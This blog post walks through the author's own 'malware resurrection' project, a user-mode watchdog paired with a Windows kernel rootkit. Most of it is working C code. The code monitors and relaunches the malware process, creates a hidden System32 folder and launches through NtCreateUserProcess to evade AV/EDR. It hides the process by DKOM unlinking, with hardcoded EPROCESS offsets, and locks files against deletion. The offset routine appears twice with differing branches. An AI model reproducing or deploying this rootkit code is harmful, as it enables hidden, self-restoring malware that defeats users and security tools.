Malware Resurrection
Introduction
In this blog, we will discuss of the malware resurrection technique.
What is Malware Resurrection
Malware Resurrection is a persistence and self-recovery technique used by certain malicious programs to ensure they remain active on an infected system, even after being terminated. This technique allows the malware to automatically relaunch or reinfect the host if it is closed by the user, killed by security software, or crashes due to an error.
In other words, the malware “watches over” itself or has a companion process that monitors its execution state and immediately restarts it if it is no longer running.
The Project
In my project, I developed a rootkit and a user-mode program to implement malware resurrection, leveraging the advantages of both modes. The user-mode program continuously monitors the malware process, and if the malware is terminated, it immediately triggers the resurrection procedure to restart it. The rootkit strengthens the process of resurrection via DKOM attacks etc.
We can go through the diagram:

Listening the Malware from User Mode Program
Firstly the user mode program listens the process with IsProcessRunning function of the project:
BOOLEAN IsProcessRunning(DWORD ProcessID) {
HANDLE HandleProcessSnap = NULL;
PROCESSENTRY32 PE32;
BOOL Status = FALSE;
HandleProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == HandleProcessSnap) {
return FALSE;
}
PE32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(HandleProcessSnap, &PE32)) {
CloseHandle(HandleProcessSnap);
return FALSE;
}
do {
if (PE32.th32ProcessID == ProcessID) {
Status = TRUE;
break;
}
} while (Process32Next(HandleProcessSnap, &PE32));
CloseHandle(HandleProcessSnap);
return Status;
}
The idea is simple: it gets the snapshot of all running processes, then iterates through them one by one using Process32First and Process32Next. For each process in the snapshot, it compares its th32ProcessID with the target ProcessID. If a match is found, it sets Status to TRUE and breaks out of the loop. If no match is found after going through all processes, Status remains FALSE. Finally, the function closes the snapshot handle and returns whether the process was found.
If the function return FALSE, then the program continues by creating a hidden folder.
Creating Hidden Folder
Here, the first step is that the program connects with rootkit then, the rootkit creates a hidden file in System32. This section of the rootkit is really simple. From CreateHiddenFile function:
NTSTATUS CreateHiddenFile() {
HANDLE HandleDirectory = NULL;
HANDLE HandleFile = NULL;
OBJECT_ATTRIBUTES ObjAttr;
IO_STATUS_BLOCK IoStatusBlock;
NTSTATUS Status;
InitializeObjectAttributes(&ObjAttr, &G_ExecutablePath, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);
Status = ZwCreateFile(&HandleDirectory, GENERIC_ALL, &ObjAttr, &IoStatusBlock, NULL, FILE_ATTRIBUTE_DIRECTORY | FILE_ATTRIBUTE_HIDDEN, \
FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_CREATE, FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
if (!NT_SUCCESS(Status)) {
return Status;
}
ZwClose(HandleDirectory);
return STATUS_SUCCESS;
}
It just initializes Object Attributes, then calls ZwCreateFile the hidden file.
Create a Process
After the file is created, the user mode program creates a process with NtCreateUserProcess. To be honest i didn’t this in the rootkit.
When I first started developing this project, I tried to find and create ZwCreateProcess in the kernel-mode driver and tried many other methods, but unfortunately none of them worked for me. Later I found out that APIs like ZwCreateProcessEx are used to create kernel-level processes, and I tried other methods like NtCreateUserProcess, which Microwave90 user has implemented in his kernel-based driver project, but to no avail.
Later in my research, I found Capt. Meelo’s blog about running NtCreateUserProcess in a user-mode application and frankly the code was very useful for me and I decided to add process creation to my user-mode program. Here’re codes:
NTSTATUS CreateTargetProcess(UNICODE_STRING ImagePath, PHANDLE HandlePtr) {
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;
PPS_ATTRIBUTE_LIST AttrList;
PS_CREATE_INFO CreateInfo = { 0 };
HANDLE HandleProcess = NULL;
HANDLE HandleThread = NULL;
NTSTATUS Status;
Status = RtlCreateProcessParametersEx(&ProcessParameters, &ImagePath, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, \
RTL_USER_PROCESS_PARAMETERS_NORMALIZED);
if (!NT_SUCCESS(Status)) {
return Status;
}
CreateInfo.Size = sizeof(CreateInfo);
CreateInfo.State = PsCreateInitialState;
AttrList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE));
AttrList->TotalLength = sizeof(PS_ATTRIBUTE_LIST) - sizeof(PS_ATTRIBUTE);
AttrList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
AttrList->Attributes[0].Size = ImagePath.Length;
AttrList->Attributes[0].Value = (ULONG_PTR)ImagePath.Buffer;
Status = NtCreateUserProcess(&HandleProcess, &HandleThread, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, ProcessParameters, \
&CreateInfo, AttrList);
if (!NT_SUCCESS(Status)) {
RtlFreeHeap(RtlProcessHeap(), 0, AttrList);
RtlDestroyProcessParameters(ProcessParameters);
return Status;
}
*HandlePtr = HandleProcess;
RtlFreeHeap(RtlProcessHeap(), 0, AttrList);
RtlDestroyProcessParameters(ProcessParameters);
return STATUS_SUCCESS;
}
When we call CreateProcess from user mode, these steps will be processed:

First, CreateProcessInternal is called from kernel32, then NtCreateUserProcess from ntdll.dll and finally NtCreateUserProcess from ntoskrnl.exe by entering kernel-mode. The reason for using NtCreateUserProcess here is that Capt. Meelo mentioned in the article, it is the lowest level API that can be used to evade AV/EDR detection checks.
But if you notice, we don’t call NtCreateUserProcess directly in the code. Before that we need to complete some steps and then call NtCreateUserProcess. Because Windows expects some parameters to be specified when creating a process. These parameters are RTL_USER_PROCESS_PARAMETERS and PS_ATTRIBUTE_LIST.
Remove the Malware from the Process List
After the process is created, the rootkit will remove the process from the process list. For this, it will use the technique of DKOM Attack:
ULONG GetActiveProcessLinkOffset() {
ULONG MajorVersion = 0;
ULONG MinorVersion = 0;
ULONG BuildNumber = 0;
NTSTATUS Status;
Status = GetWindowsVersion(&MajorVersion, &MinorVersion, &BuildNumber);
if (!NT_SUCCESS(Status)) {
return 0;
}
/*
Note that these offset value (For 0x448) may change with future updates.
*/
if (10 == MajorVersion && 22000 >= BuildNumber) {
/*
The offset value 0x448 has been tested in Windows 10 and Windows 11.
If the offset value 0x448 fails in the windows version you tried, you can find and change the offset of ActiveProcessLink with windbg.
*/
return 0x448; // For Win 10 and Win 11
}
else if (10 == MajorVersion) {
return 0x448; // For Win 10 and Win 11
}
else if (6 == MajorVersion && 3 == MinorVersion) {
return 0x2e8; // For Win 8
}
else if (6 == MajorVersion && 1 == MinorVersion) {
return 0x118; // For Win 7
}
return 0;
}
NTSTATUS HideProcess(HANDLE ProcessID) {
PLIST_ENTRY ActiveProcessLink;
PEPROCESS Process;
ULONG Offset;
NTSTATUS Status;
Status = PsLookupProcessByProcessId(ProcessID, &Process);
if (!NT_SUCCESS(Status)) {
return Status;
}
Offset = GetActiveProcessLinkOffset();
if (0 == Offset) {
return STATUS_NOT_SUPPORTED;
}
ActiveProcessLink = (PLIST_ENTRY)((PUCHAR)Process + Offset);
RemoveEntryList(ActiveProcessLink);
return STATUS_SUCCESS;
}
The Active Process List is organized as a doubly linked list. In this structure, each record (or node) stores two pointers: one to the previous node and one to the next node in the list. These pointers connect all the nodes together, allowing traversal in both directions.
In the Windows kernel, the equivalent of a doubly-linked list is represented by the LIST_ENTRY data structure, defined as follows:
kd> dt _list_entry
ntdll!_LIST_ENTRY
+0x000 Flink : Ptr64 _LIST_ENTRY
+0x008 Blink : Ptr64 _LIST_ENTRY
Here, Flink (forward link) and Blink (backward link) correspond to the Next and Previous pointers in a standard doubly-linked list, pointing to the next and previous elements in the list.
In the project, using this offset, the process is looked up by its ProcessID, and its entry is removed from the linked list by updating the Flink and Blink pointers, effectively hiding the process from system views.
The following code snippet demonstrates how a rootkit can hide a process by removing its ActiveProcessLink entry from the list. First, the code calculates the offset of the ActiveProcessLink within the process structure based on the Windows version, since these offsets can vary between versions:
ULONG GetActiveProcessLinkOffset() {
ULONG MajorVersion = 0, MinorVersion = 0, BuildNumber = 0;
NTSTATUS Status = GetWindowsVersion(&MajorVersion, &MinorVersion, &BuildNumber);
if (!NT_SUCCESS(Status)) return 0;
if (MajorVersion == 10 && BuildNumber <= 22000) {
return 0x448; // Windows 10 / 11 tested offset
} else if (MajorVersion == 6 && MinorVersion == 3) {
return 0x2e8; // Windows 8
} else if (MajorVersion == 6 && MinorVersion == 1) {
return 0x118; // Windows 7
}
return 0;
}
Then it removes the process from the process list.
Manipulating the Permissions of the Hidden File
Well, it is crucial to control its permissions to prevent unauthorized access or deletion. Manipulating the file’s permissions involves adjusting its Access Control Lists (ACLs) to restrict or allow specific actions by users or processes.
In Windows, file permissions are managed through Security Descriptors that contain Discretionary Access Control Lists (DACLs). By modifying the DACL, you can:
-
Deny read, write, or delete access to standard users.
-
Allow only trusted system processes or administrators to interact with the hidden file.
-
Prevent accidental or malicious removal of the file.
The rootkit will make the hidden file and executable file undeletable and unexecutable. This permission change will affect both admin and normal users.
Conclusion
In this blog, we explored the concept of malware resurrection—a technique that allows malicious software to persist by automatically restarting itself if terminated. We walked through a project combining user-mode monitoring and kernel-mode rootkit methods, including process hiding via DKOM and securing hidden files. This layered approach makes malware more resilient and harder to detect, highlighting the ongoing challenges in cybersecurity defense.